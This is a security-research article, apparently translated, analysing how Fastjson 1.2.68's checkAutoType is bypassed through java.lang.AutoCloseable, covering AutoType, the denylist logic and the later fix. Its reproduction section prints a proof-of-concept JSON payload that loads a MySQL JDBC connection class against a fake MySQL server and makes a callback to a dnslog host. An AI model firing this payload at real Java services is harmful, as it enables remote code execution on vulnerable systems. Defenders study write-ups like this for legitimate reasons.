Vulnerability Analysis of fastjson 1.2.68 and Earlier

SummaryAn article written last year but never published, now shared as both WeChat content and personal notes. Preface Since Fastjson 1.2.24's deserialization vulnerability was disclosed on March 15, 2017, it has been a major research target. Even checkAutoType did not fully stop new vulnerabilities. This article examines one through Xuanwu Lab's Black Hat talk…

Written last year but never published; now shared as WeChat content and retained as notes.

Preface

Since Fastjson 1.2.24's deserialization vulnerability was disclosed on March 15, 2017, the library has been a major security-research target. Even checkAutoType did not fully prevent new issues. This article examines one through Xuanwu Lab's Black Hat talk How I Use JSON Deserialization.

Two Fastjson Mechanisms

Fastjson vulnerabilities fundamentally arise from AutoType and the checkAutoType defense around it. First examine both mechanisms.

Autotype

First, why does AutoType exist?

Features arise from requirements; developers do not build features no one needs. Fastjson is no exception.

Calling JSON.parseObject(jsonstr, xxx.class) with an abstract class or interface returns NULL: an abstract type cannot be instantiated without implementation information in the JSON. Fastjson needed polymorphism support, and AutoType was its answer.

When converting a concrete implementation to JSON, a developer can add SerializerFeature.WriteClassName so the generated JSON includes serialized type information.

For example:

Suppose abstractClass_A is abstract and class_B implements it. When serializing class_B to JSON, a developer can add SerializerFeature as follows:

1.png

The successfully parsed JSON is:

TEXT
{ "@type":"testAutoType$class_B", "str":"panda"}

automatically carries an @type property identifying the serialized class.

Later, when code wants to use abstract class A, deserializing the string produces the concrete implementation.

2.png
3.png

checkAutoType

checkAutoType was added in Fastjson 1.2.25 to reduce risks from AutoType. It applies allowlist and denylist restrictions to @type.

Early checkAutoType versions had simple bypasses, including an L prefix and semicolon suffix or doubled LL. From 1.2.48 onward, checkAutoType matured and the denylist improved.

The detailed logic is summarized by this diagram from How I Use JSON Deserialization:

4.png

checkAutoType first performs three checks on typeName:

  • Whether the class is allowlisted

  • Whether it is in the deserialization cache (mappings)

  • The class has a JSONType annotation, such as fastjson.annotation.JSONType

If the conditions are satisfied, execution returns to deserialization and loads uncached classes into the cache.

If none of those conditions is met, another check runs:

  • Whether the supplied typeName is denylisted

  • Whether it inherits from RowSet, DataSource, ClassLoader, or similar classes

If any condition above is met, it throws an error. Otherwise, it continues with:

  • expectClass is not NULL, Object, Serializable, Closeable, or similar

  • The supplied typeName inherits from expectClass

If the conditions are satisfied, execution returns to deserialization and loads uncached classes into the cache.

If not, autoTypeSupport is checked. It enables AutoType and defaults to false, causing an error. When true, execution returns to deserialization and loads uncached classes into the cache.

Vulnerability Analysis

The analysis above shows several ways to pass checkAutoType:

  • The supplied class is allowlisted

  • AutoType is enabled (autoTypeSupport is true)

  • Uses a JSONType annotation, such as fastjson.annotation.JSONType

  • Certain expected classes (subclasses of expectClass)

  • The class to deserialize is cached (TypeUtils.mappings contains the @type class)

The first two routes can be ignored because allowlisted classes are generally safe and AutoType defaults to false. The third is controlled by developers. Bypassing checkAutoType therefore leaves two practical routes:

  • The class to deserialize is cached (TypeUtils.mappings contains the @type class)

  • Certain expected classes (subclasses of expectClass)

First examine the first route.

Fastjson's cache—TypeUtils.mappings—is initialized in fastjson.util.TypeUtils#addBaseClassMappings().

5.png

Fastjson preloads several base classes into TypeUtils.mappings, and each has its own Deserializer:

6.png

This route is unusable unless a class can be added to mappings. Such a bypass did exist: in 1.2.47, the cache defaulted to true, allowing checkAutoType to be bypassed.

This route is extremely difficult, though perhaps an unknown mechanism could still load a target class into the cache mapping.

Now consider the second route.

TEXT
checkAutoType(String typeName, Class<?> expectClass, int features)

An expected class (expectClass) is a class compatible with checkAutoType's second argument.

Which classes inherit from an expected class? As noted above, they must satisfy:

TEXT
if (expectClass == null) {
  expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class  && expectClass != Iterable.class && expectClass != Collection.class) {
  expectClassFlag = true;
}else{
  expectClassFlag = false;
}

The inherited expected class must also not be denylisted.

First inspect the expected classes:

https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a

10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java

Next inspect Fastjson's denylist.

https://github.com/LeadroyaL/fastjson-blacklist

Fastjson's denylist through 1.2.68 included most common parent interfaces and classes, but omitted java.lang.AutoCloseable and java.util.BitSet.

This produces the following flow:

7.png

A typeName satisfying the following can therefore bypass checkAutoType:

  • Inherits from java.lang.AutoCloseable or java.util.BitSet

  • Not in Fastjson's denylist

  • Its parent classes and interfaces are not denylisted

The final restriction prevents direct Fastjson RCE because command-execution gadget classes commonly inherit from ClassLoader, DataSource, or RowSet, all of which are denylisted.

The typeName we seek therefore gains more constraints:

A class capable of RCE, SSRF, or file read/write

The Black Hat talk How I Use JSON Deserialization suggests several directions, including vulnerable subclasses of java.lang.AutoCloseable:

  • Mysql RCE

  • Apache commons io read and write files

  • Jetty SSRF

  • Apachexbean-reflectRCE

  • ......

The talk includes payloads and chains. Here, the vulnerability is reproduced with MySQL RCE.

Reproduction

First start fake MySQL

8.png

Then run:

TEXT
import com.alibaba.fastjson.JSON;
public class poc {
    public static void main(String[] args) {
        String serializedStr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3306,\"ur l\":\"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"databaseT oConnectTo\":\"test\",\"info\": {\"@type\":\"java.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"yso_URLDNS_http://apwaty.dnslog.cn\",\"PORT.1\":\ "3306\",\"HOST.1\":\"127.0.0.1\",\"NUM_HOSTS\":\"1\",\"HOST\":\"127.0.0.1\",\"DBNAME\":\"test\"}}";
        Object obj1 = JSON.parse(serializedStr);
    }
}
​

completes the deserialization attack:

9.png
10.png

Vulnerability Fix

The fix is blunt: add java.lang.Runnable, java.lang.Readable, and java.lang.AutoCloseable to the denylist.

Starting with 1.2.68, Fastjson introduced safeMode. It disables deserialization entirely and throws an exception, eliminating this class of deserialization issue.

Conclusion

The vulnerability-discovery approach can be summarized in one word: attentiveness.

The researcher organized the prerequisites for bypassing checkAutoType and evaluated how each might be satisfied.

The researcher automatically analyzed the denylist and expectClass set, identified an omitted class, and used its subclass to achieve RCE.

The researcher's precise definition of inheritance is worth learning, as is the automated analysis that makes security research more efficient. I also wondered why Fastjson did not remove AutoType after so many vulnerabilities.

A discussion in the Fastjson GitHub issues answers this question: https://github.com/alibaba/fastjson/issues/3218

Personal view: markets usually abandon a product not because vulnerabilities exist, but because needs are unmet or cannot be met.

References

https://www.blackhat.com/us-21/briefings/schedule/index.html#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815